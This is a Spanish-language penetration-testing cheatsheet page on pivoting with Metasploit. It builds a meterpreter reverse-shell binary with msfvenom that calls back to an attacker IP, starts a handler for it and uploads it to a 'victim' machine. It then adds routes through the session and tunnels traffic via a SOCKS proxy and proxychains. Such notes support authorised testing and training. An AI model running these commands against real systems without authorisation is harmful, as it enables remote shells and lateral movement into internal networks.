> For the complete documentation index, see [llms.txt](https://lanzt.gitbook.io/cheatsheet-pentest/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lanzt.gitbook.io/cheatsheet-pentest/pivoting/metasploit/single-pivot.md).

# Single Pivot

## Meterpreter Shell

Crear consola meterpreter:

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.4 LPORT=4434 -f ELF -o metaprieta
```

Subimos ese binario `metaprieta` al sistema victima.

Iniciamos listener de meterpreter en metasploit:

```bash
msfconsole
use /multi/handler
options
set LHOST 192.168.20.4
set LPORT 4434
set payload linux/x86/meterpreter/reverse_tcp
run
```

Ejecutamos binario que subimos a la máquina victima (le damos permisos de ejecución).

> Ya obtendriamos nuestra shell meterpreter.

## Routing

Obtenemos la interfaz de red a la cual queremos enrutar:

```bash
ipconfig
(CTRL^Z para enviar la tarea a segundo plano)
Background session 2? [y/N] (le decimos: y)
```

Enrutamos:

> route add IP MASK SESSION

```bash
route add 172.18.100.17 255.255.255.0 2
```

O dentro de la misma sesión:

```bash
sessions -i 2
run post/multi/manage/autoroute
```

## SOCKS

```bash
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1111
set VERSION 5
run
```

## Proxychains

Editamos el archivo y al final agregamos el tunel:

```bash
cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111
```
